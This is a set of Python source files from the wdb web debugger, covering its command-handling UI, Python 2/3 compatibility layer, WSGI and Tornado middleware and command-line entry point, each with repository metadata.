Kozea_wdb/client/wdb/ui.py
# *-* coding: utf-8 *-* import os import re import sys import time import token as tokens import traceback from base64 import b64encode from logging import WARNING from subprocess import Popen from tokenize import TokenError, generate_tokens from . import __version__, _initial_globals from ._compat import ( JSONEncoder, StringIO, _detect_lines_encoding, dumps, escape, execute, force_bytes, from_bytes, is_str, loads, logger, quote, u, ) from .utils import ( Html5Diff, executable_line, get_doc, get_source, importable_module, inplace, search_key_in_obj, search_value_in_obj, timeout_of, ) try: from cutter import cut from cutter.utils import bang_compile as compile except ImportError: cut = None try: import magic except ImportError: magic = None try: from jedi import Interpreter except ImportError: Interpreter = None log = logger('wdb.ui') def eval_(src, *args, **kwargs): return eval(compile(src, '<stdin>', 'eval'), *args, **kwargs) class ReprEncoder(JSONEncoder): """JSON encoder using repr for objects""" def default(self, obj): return repr(obj) def dump(o): """Shortcut to json.dumps with ReprEncoder""" return dumps(o, cls=ReprEncoder, sort_keys=True) def tokenize_redir(raw_data): raw_io = StringIO() raw_io.write(raw_data) raw_io.seek(0) last_token = '' for token_type, token, src, erc, line in generate_tokens(raw_io.readline): if ( token_type == tokens.ERRORTOKEN and token == '!' and last_token in ('>', '>>') ): return ( line[: src[1] - 1], line[erc[1] :].lstrip(), last_token == '>>', ) last_token = token return class Interaction(object): hooks = { 'update_watchers': [ 'start', 'eval', 'watch', 'init', 'select', 'unwatch', ] } def __init__( self, db, frame, tb, exception, exception_description, init=None, shell=False, shell_vars=None, source=None, timeout=None, ): self.db = db self.shell = shell self.init_message = init self.stack, self.trace, self.index = self.db.get_trace(frame, tb) self.exception = exception self.exception_description = exception_description # Copy locals to avoid strange cpython behaviour self.locals = list(map(lambda x: x[0].f_locals, self.stack)) self.htmldiff = Html5Diff(4) self.timeout = timeout if self.shell: self.locals[self.index] = shell_vars or {} if source: with open(source) as f: compiled_code = compile(f.read(), '<source>', 'exec') # Executing in locals to keep local scope # (http://bugs.python.org/issue16781) execute(compiled_code, self.current_locals, self.current_locals) def hook(self, kind): for hook, events in self.hooks.items(): if kind in events: getattr(self, hook)() @property def current(self): return self.trace[self.index] @property def current_frame(self): return self.stack[self.index][0] @property def current_locals(self): return self.locals[self.index] @property def current_file(self): return self.current['file'] def get_globals(self): """Get enriched globals""" if self.shell: globals_ = dict(_initial_globals) else: globals_ = dict(self.current_frame.f_globals) globals_['_'] = self.db.last_obj if cut is not None: globals_.setdefault('cut', cut) # For meta debuging purpose globals_['___wdb'] = self.db # Hack for function scope eval globals_.update(self.current_locals) for var, val in self.db.extra_vars.items(): globals_[var] = val self.db.extra_items = {} return globals_ def init(self): self.db.send( 'Title|%s' % dump( { 'title': self.exception, 'subtitle': self.exception_description, } ) ) if self.shell: self.db.send('Shell') else: self.db.send( 'Trace|%s' % dump({'trace': self.trace, 'cwd': os.getcwd()}) ) self.db.send( 'SelectCheck|%s' % dump({'frame': self.current, 'name': self.current_file}) ) if self.init_message: self.db.send(self.init_message) self.init_message = None self.hook('init') def parse_command(self, message): # Parse received message if '|' in message: return message.split('|', 1) return message, '' def loop(self): stop = False while not stop: self.db.send('UPDATE_FILENAME|%s' % self.current_file) try: stop = self.interact() except Exception: log.exception('Error in loop') try: exc = self.handle_exc() type_, value = sys.exc_info()[:2] link = ( '<a href="https://github.com/Kozea/wdb/issues/new?' 'title=%s&body=%s&labels=defect" class="nogood">' 'Please click here to report it on Github</a>' ) % ( quote('%s: %s' % (type_.__name__, str(value))), quote('```\n%s\n```\n' % traceback.format_exc()), ) self.db.send( 'Echo|%s' % dump( { 'for': 'Error in Wdb, this is bad', 'val': exc + '<br>' + link, } ) ) except Exception: log.exception('Error in loop exception handling') self.db.send( 'Echo|%s' % dump( { 'for': 'Too many errors', 'val': ( "Don't really know what to say. " "Maybe it will work tomorrow." ), } ) ) def interact(self): try: message = self.db.receive(self.timeout) # Only timeout at first request self.timeout = None except KeyboardInterrupt: # Quit on KeyboardInterrupt message = 'Quit' cmd, data = self.parse_command(message) cmd = cmd.lower() log.debug('Cmd %s #Data %d' % (cmd, len(data))) fun = getattr(self, 'do_' + cmd, None) if fun: rv = fun(data) self.hook(cmd) return rv log.warning('Unknown command %s' % cmd) def update_watchers(self): watched = {} for watcher in self.db.watchers[self.current_file]: try: watched[watcher] = self.db.safe_better_repr( eval_(watcher, self.get_globals(), self.current_locals) ) except Exception as e: watched[watcher] = type(e).__name__ self.db.send('Watched|%s' % dump(watched)) def notify_exc(self, msg): log.info(msg, exc_info=True) self.db.send( 'Log|%s' % dump({'message': '%s\n%s' % (msg, traceback.format_exc())}) ) def do_start(self, data): self.started = True # Getting breakpoints log.debug('Getting breakpoints') self.db.send( 'Init|%s' % dump( { 'cwd': os.getcwd(), 'version': __version__, 'breaks': self.db.breakpoints_to_json(), } ) ) self.db.send( 'Title|%s' % dump( { 'title': self.exception, 'subtitle': self.exception_description, } ) ) if self.shell: self.db.send('Shell') else: self.db.send('Trace|%s' % dump({'trace': self.trace})) # In case of exception always be at top frame to start self.index = len(self.stack) - 1 self.db.send( 'SelectCheck|%s' % dump({'frame': self.current, 'name': self.current_file}) ) if self.init_message: self.db.send(self.init_message) self.init_message = None def do_select(self, data): self.index = int(data) self.db.send( 'SelectCheck|%s' % dump({'frame': self.current, 'name': self.current_file}) ) def do_file(self, data): fn = data file = self.db.get_file(fn) self.db.send( 'Select|%s' % dump({'frame': self.current, 'name': fn, 'file': file}) ) def do_inspect(self, data): if '/' in data: mode, data = data.split('/', 1) else: mode = 'inspect' try: thing = self.db.obj_cache.get(int(data)) except Exception: self.fail('Inspect') return if mode == 'dump': self.db.send( 'Print|%s' % dump( { 'for': self.db.safe_better_repr(thing, html=False), 'result': self.db.safe_better_repr(thing, full=True), } ) ) return if isinstance(thing, tuple) and len(thing) == 3: type_, value, tb = thing iter_tb = tb while iter_tb.tb_next is not None: iter_tb = iter_tb.tb_next self.db.extra_vars['__recursive_exception__'] = value self.db.interaction( iter_tb.tb_frame, tb, type_.__name__, str(value) ) return self.db.send( 'Dump|%s' % dump( { 'for': self.db.safe_repr(thing), 'val': self.db.dmp(thing), 'doc': get_doc(thing), 'source': get_source(thing), } ) ) def do_dump(self, data): try: thing = eval_(data, self.get_globals(), self.current_locals) except Exception: self.fail('Dump') return self.db.send( 'Dump|%s' % dump( { 'for': u('%s ⟶ %s ') % (data, self.db.safe_repr(thing)), 'val': self.db.dmp(thing), 'doc': get_doc(thing), 'source': get_source(thing), } ) ) def do_trace(self, data): self.db.send('Trace|%s' % dump({'trace': self.trace})) def do_eval(self, data): redir = None imports = [] raw_data = data.strip() if raw_data.startswith('!<'): filename = raw_data[2:].strip() try: with open(filename, 'r') as f: raw_data = f.read() except Exception: self.fail('Eval', 'Unable to read from file %s' % filename) return lines = raw_data.split('\n') if '>!' in lines[-1]: try: last_line, redir, append = tokenize_redir(raw_data) except TokenError: last_line = redir = None append = False if redir and last_line: indent = len(lines[-1]) - len(lines[-1].lstrip()) lines[-1] = indent * u(' ') + last_line raw_data = '\n'.join(lines) data = raw_data # Keep spaces raw_data = raw_data.replace(' ', u(' ')) # Compensate prompt for multi line raw_data = raw_data.replace('\n', '\n' + u(' ' * 4)) duration = None with self.db.capture_output(with_hook=redir is None) as (out, err): compiled_code = None try: compiled_code = compile(data, '<stdin>', 'single') except Exception: try: compiled_code = compile(data, '<stdin>', 'exec') except Exception: maybe_hook = self.handle_exc() # Hack from codeop e1 = e2 = None try: compiled_code = compile(data + '\n', '<stdin>', 'exec') except Exception as e: e1 = e try: compile(data + '\n\n', '<stdin>', 'exec') except Exception as e: e2 = e if not compiled_code: if repr(e1) != repr(e2): # Multiline not terminated self.db.send('NewLine') return else: self.db.hooked = maybe_hook loc = self.current_locals start = time.time() if compiled_code is not None: self.db.compile_cache[id(compiled_code)] = data try: execute(compiled_code, self.get_globals(), loc) except NameError as e: m = re.match("name '(.+)' is not defined", str(e)) if m: name = m.groups()[0] if self.db._importmagic_index: scores = self.db._importmagic_index.symbol_scores( name ) for _, module, variable in scores: if variable is None: imports.append('import %s' % module) else: imports.append( 'from %s import %s' % (module, variable) ) elif importable_module(name): imports.append('import %s' % name) self.db.hooked = self.handle_exc() except Exception: self.db.hooked = self.handle_exc() duration = int((time.time() - start) * 1000 * 1000) if redir and not self.db.hooked: try: with open(redir, 'a' if append else 'w') as f: f.write('\n'.join(out) + '\n'.join(err) + '\n') except Exception: self.fail('Eval', 'Unable to write to file %s' % redir) return self.db.send( 'Print|%s' % dump( { 'for': raw_data, 'result': escape( '%s to file %s' % ('Appended' if append else 'Written', redir) ), } ) ) else: rv = escape('\n'.join(out) + '\n'.join(err)) try: dump(rv) except Exception: rv = rv.decode('ascii', 'ignore') if rv and self.db.hooked: result = self.db.hooked + '\n' + rv elif rv: result = rv else: result = self.db.hooked self.db.send( 'Print|%s' % dump( {'for': raw_data, 'result': result, 'duration': duration} ) ) if imports: self.db.send('Suggest|%s' % dump({'imports': imports})) def do_ping(self, data): self.db.send('Pong') def do_step(self, data): self.db.set_step(self.current_frame) return True def do_next(self, data): self.db.set_next(self.current_frame) return True def do_continue(self, data): self.db.stepping = False self.db.set_continue(self.current_frame) return True def do_return(self, data): self.db.set_return(self.current_frame) return True def do_until(self, data): self.db.set_until(self.current_frame) return True def do_close(self, data): self.db.stepping = False if self.db.closed is not None: # Ignore set_trace till end self.db.closed = True self.db.set_continue(self.current_frame) return True def do_break(self, data): from linecache import getline brk = loads(data) def break_fail(x): return self.fail( 'Break', 'Break on %s failed' % ('%s:%s' % (brk['fn'], brk['lno'])), message=x, ) if not brk.get('fn'): break_fail('Can’t break with no current file') return if brk['lno'] is not None: try: lno = int(brk['lno']) except Exception: break_fail( 'Wrong breakpoint format must be ' '[file][:lineno][#function][,condition].' ) return line = getline(brk['fn'], lno, self.current_frame.f_globals) if not line: for path in sys.path: line = getline( os.path.join(path, brk['fn']), brk['lno'], self.current_frame.f_globals, ) if line: break if not line: break_fail('Line does not exist') return if not executable_line(line): break_fail('Blank line or comment') return breakpoint = self.db.set_break( brk['fn'], brk['lno'], brk['temporary'], brk['cond'], brk['fun'] ) break_set = breakpoint.to_dict() break_set['temporary'] = brk['temporary'] self.db.send('BreakSet|%s' % dump(break_set)) def do_unbreak(self, data): brk = loads(data) lno = brk['lno'] and int(brk['lno']) self.db.clear_break( brk['fn'], lno, brk['temporary'], brk['cond'], brk['fun'] ) self.db.send('BreakUnset|%s' % data) def do_breakpoints(self, data): self.db.send( 'Print|%s' % dump({'for': 'Breakpoints', 'result': self.db.breakpoints}) ) def do_watch(self, data): self.db.watchers[self.current_file].add(data) self.db.send('Ack') def do_unwatch(self, data): self.db.watchers[self.current_file].remove(data) def do_jump(self, data): lno = int(data) if self.index != len(self.trace) - 1: log.error('Must be at bottom frame') return try: self.current_frame.f_lineno = lno except ValueError: self.fail('Unbreak') return self.current['lno'] = lno self.db.send('Trace|%s' % dump({'trace': self.trace})) self.db.send( 'SelectCheck|%s' % dump({'frame': self.current, 'name': self.current_file}) ) def do_complete(self, data): completion = loads(data) manual = completion.pop('manual', False) if manual: timeout = 5 else: timeout = 0.1 source = completion.pop('source') pos = completion.pop('pos') if not Interpreter: self.db.send('Suggest') return try: script = Interpreter( source, [self.current_locals, self.get_globals()], **completion ) with timeout_of(timeout, not manual): completions = script.completions() except Exception: self.db.send('Suggest') if log.level < WARNING: self.notify_exc('Completion failed for %s' % data) return try: with timeout_of(timeout / 2, not manual): funs = script.call_signatures() or [] except Exception: self.db.send('Suggest') if log.level < WARNING: self.notify_exc('Completion of function failed for %s' % data) return before = source[:pos] after = source[pos:] like = '' if len(completions): completion = completions[0] base = completion.name[ : len(completion.name) - len(completion.complete) ] if len(base): like = before[-len(base) :] if len(like): before = before[: -len(like)] try: suggest_obj = { 'data': {'start': before, 'end': after, 'like': like}, 'params': [ { 'params': [ p.description.replace('\n', '') for p in fun.params ], 'index': fun.index, 'module': fun.module_name, 'call_name': fun.name, } for fun in funs ], 'completions': [ { 'base': comp.name[ : len(comp.name) - len(comp.complete) ], 'complete': comp.complete, 'description': comp.description, } for comp in completions if comp.name.endswith(comp.complete) ], } self.db.send('Suggest|%s' % dump(suggest_obj)) except Exception: self.db.send('Suggest') self.notify_exc('Completion generation failed for %s' % data) def do_save(self, data): fn, src = data.split('|', 1) if not os.path.exists(fn): return try: encoding = _detect_lines_encoding(src.splitlines()) with inplace(fn, encoding=encoding) as (_, w): w.write(src) except Exception as e: self.db.send( 'Echo|%s' % dump({'for': 'Error during save', 'val': str(e)}) ) else: self.db.send( 'Echo|%s' % dump({'for': 'Save succesful', 'val': 'Wrote %s' % fn}) ) def do_external(self, data): default = {'linux': 'xdg-open', 'win32': '', 'darwin': 'open'}.get( sys.platform, 'open' ) editor = os.getenv('EDITOR', os.getenv('VISUAL', default)) if editor: cmd = editor.split(' ') else: cmd = [] try: Popen(cmd + [data]) except Exception: self.fail('External open') def do_display(self, data): if ';' in data: mime, data = data.split(';', 1) forced = True else: mime = 'text/html' forced = False try: thing = eval_(data, self.get_globals(), self.current_locals) except Exception: self.fail('Display') return else: thing = force_bytes(thing) if magic and not forced: mime = magic.from_buffer(thing, mime=True) self.db.send( 'Display|%s' % dump( { 'for': u('%s (%s)') % (data, mime), 'val': from_bytes(b64encode(thing)), 'type': mime, } ) ) def do_disable(self, data): self.db.__class__.enabled = False self.db.stepping = False self.db.stop_trace() self.db.die() return True def do_quit(self, data): self.db.stepping = False self.db.stop_trace() return True def do_restart(self, data): try: # Try re-execing as-is os.execvp(sys.argv[0], sys.argv) except Exception: # Put the python executable in front python = sys.executable os.execl(python, python, *sys.argv) def do_diff(self, data): if '?' not in data and '<>' not in data: self.fail( 'Diff', 'Diff error', 'You must provide two expression ' 'separated by "?" or "<>" to make a diff', ) return pretty = '?' in data expressions = [ expression.strip() for expression in ( data.split('?') if '?' in data else data.split('<>') ) ] strings = [] for expression in expressions: try: strings.append( eval_(expression, self.get_globals(), self.current_locals) ) except Exception: self.fail( 'Diff', "Diff failed: Expression %s " "failed to evaluate to a string" % expression, ) return render = ( ( ( lambda x: self.db.better_repr(x, html=False) or self.db.safe_repr(x) ) ) if pretty else str ) strings = [ render(string) if not is_str(string) else string for string in strings ] self.db.send( 'RawHTML|%s' % dump( { 'for': u('Difference between %s') % (' and '.join(expressions)), 'val': self.htmldiff.make_table( strings[0].splitlines(keepends=True), strings[1].splitlines(keepends=True), expressions[0], expressions[1], ), } ) ) def do_find(self, data): if ' in ' not in data and ' of ' not in data: self.fail( 'Find', 'Find error', 'Syntax for find is: "key in expression" ' 'or "value testing function of expression"', ) if ' in ' in data: key, expr = data.split(' in ') else: key, expr = data.split(' of ') try: value = eval_(expr, self.get_globals(), self.current_locals) except Exception: self.fail('Find') return if ' in ' in data: matches = search_key_in_obj(key, value, path='%s.' % expr) else: matches = search_value_in_obj(key, value, path='%s.' % expr) self.db.send( 'Print|%s' % dump( { 'for': 'Finding %s in %s' % (key, expr), 'result': 'Found:\n%s' % '\n'.join( [ '%s: -> %s' % (k, escape(self.db.safe_repr(val))) for k, val in matches ] ) if matches else 'Not found', } ) ) def handle_exc(self): """Return a formated exception traceback for wdb.js use""" exc_info = sys.exc_info() type_, value = exc_info[:2] self.db.obj_cache[id(exc_info)] = exc_info return '<a href="%d" class="inspect">%s: %s</a>' % ( id(exc_info), escape(type_.__name__), escape(repr(value)), ) def fail(self, cmd, title=None, message=None): """Send back captured exceptions""" if message is None: message = self.handle_exc() else: message = escape(message) self.db.send( 'Echo|%s' % dump({'for': escape(title or '%s failed' % cmd), 'val': message}) )
29,126
Python
.py
854
20.748244
79
0.451053
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,474
_compat.py
Kozea_wdb/client/wdb/_compat.py
import codecs import re import sys python_version = sys.version_info[0] try: from json import loads, dumps, JSONEncoder, JSONDecodeError except ImportError: from simplejson import loads, dumps, JSONEncoder, JSONDecodeError try: from urllib.parse import quote except ImportError: from urllib import quote try: from html import escape except ImportError: from cgi import escape try: from socketserver import TCPServer except ImportError: from SocketServer import TCPServer try: from collections import OrderedDict except ImportError: from ordereddict import OrderedDict if python_version == 2: from StringIO import StringIO else: from io import StringIO if python_version == 2: def execute(cmd, globals_, locals_): exec('exec cmd in globals_, locals_') else: def execute(cmd, globals_, locals_): exec(cmd, globals_, locals_) _cookie_search = re.compile(r"coding[:=]\s*([-\w.]+)").search def _detect_encoding(filename): import linecache lines = linecache.getlines(filename) return _detect_lines_encoding(lines) def _detect_lines_encoding(lines): if not lines or lines[0].startswith(u("\xef\xbb\xbf")): return "utf-8" magic = _cookie_search("".join(lines[:2])) if magic is None: return 'utf-8' encoding = magic.group(1) try: codecs.lookup(encoding) except LookupError: return 'utf-8' return encoding if python_version == 2: basestr = basestring def to_unicode(string): return string.decode('utf-8') def to_unicode_string(string, filename): if isinstance(string, unicode): return string encoding = _detect_encoding(filename) if encoding != 'utf-8' and string: return string.decode(encoding).encode('utf-8') else: return string def to_bytes(string): return string def from_bytes(bytes_): return bytes_ def force_bytes(bytes_): if isinstance(bytes_, unicode): return bytes_.encode('utf-8') return bytes_ else: basestr = (str, bytes) def to_unicode(string): return string def to_unicode_string(string, filename): return string def to_bytes(string): return string.encode('utf-8') def from_bytes(bytes_): return bytes_.decode('utf-8') def force_bytes(bytes_): if isinstance(bytes_, str): return bytes_.encode('utf-8') return bytes_ def is_str(string): return isinstance(string, basestr) def u(s): if python_version == 2: return s.decode('utf-8') return s if python_version == 2: import struct import socket import errno import time import select has_winapi = False try: import _winapi has_winapi = True except ImportError: pass if sys.platform == 'win32' and has_winapi: from _winapi import WAIT_OBJECT_0, WAIT_TIMEOUT, INFINITE try: from _winapi import WAIT_ABANDONED_0 except ImportError: WAIT_ABANDONED_0 = 128 def _exhaustive_wait(handles, timeout): # Return ALL handles which are currently signalled. (Only # returning the first signalled might create starvation issues.) L = list(handles) ready = [] while L: res = _winapi.WaitForMultipleObjects(L, False, timeout) if res == WAIT_TIMEOUT: break elif WAIT_OBJECT_0 <= res < WAIT_OBJECT_0 + len(L): res -= WAIT_OBJECT_0 elif WAIT_ABANDONED_0 <= res < WAIT_ABANDONED_0 + len(L): res -= WAIT_ABANDONED_0 else: raise RuntimeError('Should not get here') ready.append(L[res]) L = L[res + 1 :] timeout = 0 return ready _ready_errors = set( (_winapi.ERROR_BROKEN_PIPE, _winapi.ERROR_NETNAME_DELETED) ) def wait(object_list, timeout=None): ''' Wait till an object in object_list is ready/readable. Returns list of those objects in object_list which are ready/readable. ''' if timeout is None: timeout = INFINITE elif timeout < 0: timeout = 0 else: timeout = int(timeout * 1000 + 0.5) object_list = list(object_list) waithandle_to_obj = {} ov_list = [] ready_objects = set() ready_handles = set() try: for o in object_list: try: fileno = getattr(o, 'fileno') except AttributeError: waithandle_to_obj[o.__index__()] = o else: # start an overlapped read of length zero try: ov, err = _winapi.ReadFile(fileno(), 0, True) except OSError as e: err = e.winerror if err not in _ready_errors: raise if err == _winapi.ERROR_IO_PENDING: ov_list.append(ov) waithandle_to_obj[ov.event] = o else: # If o.fileno() is an overlapped pipe handle and # err == 0 then there is a zero length message # in the pipe, but it HAS NOT been consumed. ready_objects.add(o) timeout = 0 ready_handles = _exhaustive_wait( waithandle_to_obj.keys(), timeout ) finally: # request that overlapped reads stop for ov in ov_list: ov.cancel() # wait for all overlapped reads to stop for ov in ov_list: try: _, err = ov.GetOverlappedResult(True) except OSError as e: err = e.winerror if err not in _ready_errors: raise if err != _winapi.ERROR_OPERATION_ABORTED: o = waithandle_to_obj[ov.event] ready_objects.add(o) if err == 0: # If o.fileno() is an overlapped pipe handle then # a zero length message HAS been consumed. if hasattr(o, '_got_empty_message'): o._got_empty_message = True ready_objects.update(waithandle_to_obj[h] for h in ready_handles) return [p for p in object_list if p in ready_objects] else: if hasattr(select, 'poll'): def _poll(fds, timeout): if timeout is not None: timeout = int(timeout * 1000) # timeout is in milliseconds fd_map = {} pollster = select.poll() for fd in fds: pollster.register(fd, select.POLLIN) if hasattr(fd, 'fileno'): fd_map[fd.fileno()] = fd else: fd_map[fd] = fd ls = [] for fd, event in pollster.poll(timeout): if event & select.POLLNVAL: raise ValueError('invalid file descriptor %i' % fd) ls.append(fd_map[fd]) return ls else: def _poll(fds, timeout): return select.select(fds, [], [], timeout)[0] def wait(object_list, timeout=None): ''' Wait till an object in object_list is ready/readable. Returns list of those objects in object_list which are ready/readable. ''' if timeout is not None: if timeout <= 0: return _poll(object_list, 0) else: deadline = time.time() + timeout while True: try: return _poll(object_list, timeout) except OSError as e: if e.errno != errno.EINTR: raise if timeout is not None: timeout = deadline - time.time() class Socket(object): """A Socket compatible with multiprocessing.connection.Client, that uses socket objects.""" # https://github.com/akheron/cpython/blob/3.3/Lib/multiprocessing/connection.py#L349 def __init__(self, address): self._handle = socket.socket() self._handle.connect(address) self._handle.setblocking(1) def send_bytes(self, buf): self._check_closed() n = len(buf) # For wire compatibility with 3.2 and lower header = struct.pack("!i", n) if n > 16384: # The payload is large so Nagle's algorithm won't be triggered # and we'd better avoid the cost of concatenation. chunks = [header, buf] elif n > 0: # Issue #20540: concatenate before sending, to avoid delays # dueto Nagle's algorithm on a TCP socket. chunks = [header + buf] else: # This code path is necessary to avoid "broken pipe" errors # when sending a 0-length buffer if the other end closed the # pipe. chunks = [header] for chunk in chunks: self._handle.sendall(chunk) def _safe_recv(self, *args, **kwargs): while True: try: return self._handle.recv(*args, **kwargs) except socket.error as e: # Interrupted system call if e.errno != errno.EINTR: raise def recv_bytes(self): self._check_closed() size, = struct.unpack("!i", self._safe_recv(4)) return self._safe_recv(size) def _check_closed(self): if self._handle is None: raise IOError("handle is closed") def close(self): self._check_closed() self._handle.close() self._handle = None def poll(self, timeout=0.0): """Whether there is any input available to be read""" self._check_closed() return self._poll(timeout) def _poll(self, timeout): r = wait([self._handle], timeout) return bool(r) else: from multiprocessing.connection import Client as Socket try: from importlib.util import find_spec from importlib import import_module def existing_module(module): return bool(find_spec(module)) except ImportError: import imp def existing_module(module): try: imp.find_module(module) return True except ImportError: return False def import_module(module): __import__(module) if module not in sys.modules: raise ImportError(module) return sys.modules[module] # Not really compat but convenient try: from log_colorizer import get_color_logger except ImportError: import logging logger = logging.getLogger else: logger = get_color_logger
11,826
Python
.py
319
24.529781
92
0.528521
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,475
ext.py
Kozea_wdb/client/wdb/ext.py
# *-* coding: utf-8 *-* # This file is part of wdb # # wdb Copyright (c) 2012-2016 Florian Mounier, Kozea # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from . import ( trace, start_trace, stop_trace, set_trace, Wdb, WEB_SERVER, WEB_PORT, ) from .ui import dump from ._compat import to_bytes, escape, logger, TCPServer import traceback from threading import current_thread from uuid import uuid4 import sys log = logger(__name__) _exc_cache = {} def _patch_tcpserver(): """ Patch shutdown_request to open blocking interaction after the end of the request """ shutdown_request = TCPServer.shutdown_request def shutdown_request_patched(*args, **kwargs): thread = current_thread() shutdown_request(*args, **kwargs) if thread in _exc_cache: post_mortem_interaction(*_exc_cache.pop(thread)) TCPServer.shutdown_request = shutdown_request_patched def post_mortem_interaction(uuid, exc_info): wdb = Wdb.get(force_uuid=uuid) type_, value, tb = exc_info frame = None _value = value if not isinstance(_value, BaseException): _value = type_(value) wdb.obj_cache[id(exc_info)] = exc_info wdb.extra_vars['__exception__'] = exc_info exception = type_.__name__ exception_description = str(value) + ' [POST MORTEM]' init = 'Echo|%s' % dump( { 'for': '__exception__', 'val': escape('%s: %s') % (exception, exception_description), } ) wdb.interaction( frame, tb, exception, exception_description, init=init, iframe_mode=True, timeout=3, ) def _handle_off(silent=False): if not silent: log.exception('Exception with wdb off') uuid = str(uuid4()) _exc_cache[current_thread()] = (uuid, sys.exc_info()) web_url = 'http://%s:%d/pm/session/%s' % ( WEB_SERVER or 'localhost', WEB_PORT or 1984, uuid, ) return to_bytes( '''<!DOCTYPE html> <html> <head> <title>WDB Post Mortem</title> <!-- %s --> <style> html, body, iframe { margin: 0; padding: 0; width: 100%%; height: 100%%; border: none; overflow: hidden; display: block; } </style> <script> addEventListener("message", function (e) { if (e.data == 'activate') { var request = new XMLHttpRequest(); request.open('GET', '/__wdb/on', true); request.onload = function() { location.reload(true); } request.send(); } }, false); </script> </head> <body> <iframe src="%s" id="wdbframe"> </iframe> </body> </html> ''' % (traceback.format_exc(), web_url) ) class WdbMiddleware(object): def __init__(self, app, start_disabled=False): _patch_tcpserver() self.app = app Wdb.enabled = not start_disabled def __call__(self, environ, start_response): path = environ.get('PATH_INFO', '') if path == '/__wdb/on': # Enable wdb Wdb.enabled = True start_response('200 OK', [('Content-Type', 'text/html')]) return (to_bytes('Wdb is now on'),) if path == '/__wdb/shell': def f(): # Enable wdb wdb = Wdb.get() Wdb.enabled = True start_response( '200 OK', [('Content-Type', 'text/html'), ('X-Thing', wdb.uuid)], ) yield to_bytes(' ' * 4096) wdb = set_trace() wdb.die() yield to_bytes('Exited') return f() if Wdb.enabled: def trace_wsgi(environ, start_response): wdb = Wdb.get() wdb.closed = False appiter = None try: with trace(close_on_exit=True, under=self.app): appiter = self.app(environ, start_response) for item in appiter: yield item except Exception: exc_info = sys.exc_info() try: start_response( '500 INTERNAL SERVER ERROR', [('Content-Type', 'text/html')], ) except AssertionError: log.exception( 'Exception with wdb off and headers already set', exc_info=exc_info, ) yield '\n'.join( traceback.format_exception(*exc_info) ).replace('\n', '\n<br>\n').encode('utf-8') else: yield _handle_off() finally: hasattr(appiter, 'close') and appiter.close() wdb.closed = False return trace_wsgi(environ, start_response) def catch(environ, start_response): appiter = None try: appiter = self.app(environ, start_response) for item in appiter: yield item except Exception: exc_info = sys.exc_info() try: start_response( '500 INTERNAL SERVER ERROR', [('Content-Type', 'text/html')], ) except AssertionError: log.exception( 'Exception with wdb off and headers already set', exc_info=exc_info, ) yield '\n'.join( traceback.format_exception(*exc_info) ).replace('\n', '\n<br>\n').encode('utf-8') else: yield _handle_off() finally: # Close set_trace debuggers stop_trace(close_on_exit=True) hasattr(appiter, 'close') and appiter.close() return catch(environ, start_response) def wdb_tornado(application, start_disabled=False): from tornado.web import ( RequestHandler, ErrorHandler, HTTPError, StaticFileHandler, ) from tornado.gen import coroutine Wdb.enabled = not start_disabled class WdbOn(RequestHandler): def get(self): Wdb.enabled = True self.write('Wdb is now on') class WdbOff(RequestHandler): def get(self): Wdb.enabled = False self.write('Wdb is now off') application.add_handlers( r'.*', ((r'/__wdb/on', WdbOn), (r'/__wdb/off', WdbOff)) ) old_execute = RequestHandler._execute under = getattr(RequestHandler._execute, '__wrapped__', None) @coroutine def _wdb_execute(*args, **kwargs): from wdb import trace, Wdb if Wdb.enabled: wdb = Wdb.get() wdb.closed = False # Activate request ignores interesting = True if len(args) > 0 and isinstance(args[0], ErrorHandler): interesting = False elif ( len(args) > 2 and isinstance(args[0], StaticFileHandler) and args[2] == 'favicon.ico' ): interesting = False if Wdb.enabled and interesting: with trace(close_on_exit=True, under=under): old_execute(*args, **kwargs) else: old_execute(*args, **kwargs) # Close set_trace debuggers stop_trace(close_on_exit=True) if Wdb.enabled: # Reset closed state wdb.closed = False RequestHandler._execute = _wdb_execute def _wdb_error_writter(self, status_code, **kwargs): silent = False ex = kwargs.get('exc_info') if ex: silent = issubclass(ex[0], HTTPError) self.finish(_handle_off(silent=silent)) post_mortem_interaction(*_exc_cache.pop(current_thread())) RequestHandler.write_error = _wdb_error_writter def add_w_builtin(): class w(object): """Global shortcuts""" @property def tf(self): set_trace(sys._getframe().f_back) @property def start(self): start_trace(sys._getframe().f_back) @property def stop(self): stop_trace(sys._getframe().f_back) @property def trace(self): trace(sys._getframe().f_back) __builtins__['w'] = w() def patch_werkzeug(): """Replace werkzeug debug middleware""" try: from werkzeug import debug except ImportError: return debug.DebuggedApplication = WdbMiddleware
10,016
Python
.py
287
22.926829
77
0.507231
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,476
__main__.py
Kozea_wdb/client/wdb/__main__.py
import argparse import os import sys from wdb import Wdb from wdb._compat import execute parser = argparse.ArgumentParser(description='Wdb, the web python debugger.') parser.add_argument( '--source', dest='source', help='Source the specified file before openning the shell', ) parser.add_argument( '--trace', dest='trace', action='store_true', help='Activate trace (otherwise just inspect tracebacks).', ) parser.add_argument('file', nargs='?', help='the path to the file to debug.') parser.add_argument('args', nargs='*', help='arguments to the debugged file.') def main(): """Wdb entry point""" sys.path.insert(0, os.getcwd()) args, extrargs = parser.parse_known_args() sys.argv = ['wdb'] + args.args + extrargs if args.file: file = os.path.join(os.getcwd(), args.file) if args.source: print('The source argument cannot be used with file.') sys.exit(1) if not os.path.exists(file): print('Error:', file, 'does not exist') sys.exit(1) if args.trace: Wdb.get().run_file(file) else: def wdb_pm(xtype, value, traceback): sys.__excepthook__(xtype, value, traceback) wdb = Wdb.get() wdb.reset() wdb.interaction(None, traceback, post_mortem=True) sys.excepthook = wdb_pm with open(file) as f: code = compile(f.read(), file, 'exec') execute(code, globals(), globals()) else: source = None if args.source: source = os.path.join(os.getcwd(), args.source) if not os.path.exists(source): print('Error:', source, 'does not exist') sys.exit(1) Wdb.get().shell(source) if __name__ == '__main__': main()
1,872
Python
.py
54
26.592593
78
0.585366
Kozea/wdb
1,574
117
